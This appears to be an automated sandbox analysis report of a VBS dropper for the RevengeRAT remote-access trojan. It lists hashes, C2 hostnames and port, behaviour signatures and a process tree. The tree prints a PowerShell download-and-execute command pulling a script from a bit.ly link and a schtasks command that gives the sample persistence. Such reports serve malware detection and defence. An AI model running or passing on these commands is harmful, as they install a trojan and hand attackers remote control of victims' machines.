Analysis
- max time kernel
134s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
06/09/2024, 10:56
General
- Target cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
- Size 1KB
- Sample240906-m17dxsshmg
- SHA256 69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://bit.ly/2XDPsZ6
Extracted
-
revengerat
-
442,
-
googleq.myq-see.com,googletest.linkpc.net:,
-
,
Signatures
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- RevengeRat Executable 1 IoCs
- Blocklisted process makes network request 8 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe"C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('http://bit.ly/2XDPsZ6')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 8 /tn localhost /tr "C:\Users\Admin\AppData\Roaming\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs2⤵
- Scheduled Task/Job: Scheduled Task
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_1ujpsyv4.3vd.ps1
memory/3372-19-0x00000000060D0000-0x00000000060EE000-memory.dmp
memory/3372-21-0x0000000006610000-0x0000000006654000-memory.dmp
memory/3372-3-0x0000000074860000-0x0000000075010000-memory.dmp
memory/3372-5-0x0000000074860000-0x0000000075010000-memory.dmp
memory/3372-6-0x0000000005200000-0x0000000005222000-memory.dmp
memory/3372-7-0x0000000005910000-0x0000000005976000-memory.dmp
memory/3372-8-0x0000000005A70000-0x0000000005AD6000-memory.dmp
memory/3372-2-0x00000000027B0000-0x00000000027E6000-memory.dmp
memory/3372-14-0x0000000005AE0000-0x0000000005E34000-memory.dmp
memory/3372-1-0x000000007486E000-0x000000007486F000-memory.dmp
memory/3372-4-0x0000000005270000-0x0000000005898000-memory.dmp
memory/3372-22-0x0000000007A00000-0x000000000807A000-memory.dmp
memory/3372-20-0x0000000006160000-0x00000000061AC000-memory.dmp
memory/3372-23-0x00000000073A0000-0x00000000073BA000-memory.dmp
memory/3372-24-0x00000000075B0000-0x00000000075C4000-memory.dmp
memory/3372-25-0x0000000007660000-0x00000000076FC000-memory.dmp
memory/3372-26-0x00000000075E0000-0x00000000075EA000-memory.dmp
memory/3372-27-0x0000000008630000-0x0000000008BD4000-memory.dmp
memory/3372-28-0x0000000007900000-0x0000000007976000-memory.dmp
memory/3372-29-0x000000007486E000-0x000000007486F000-memory.dmp
memory/3372-30-0x0000000074860000-0x0000000075010000-memory.dmp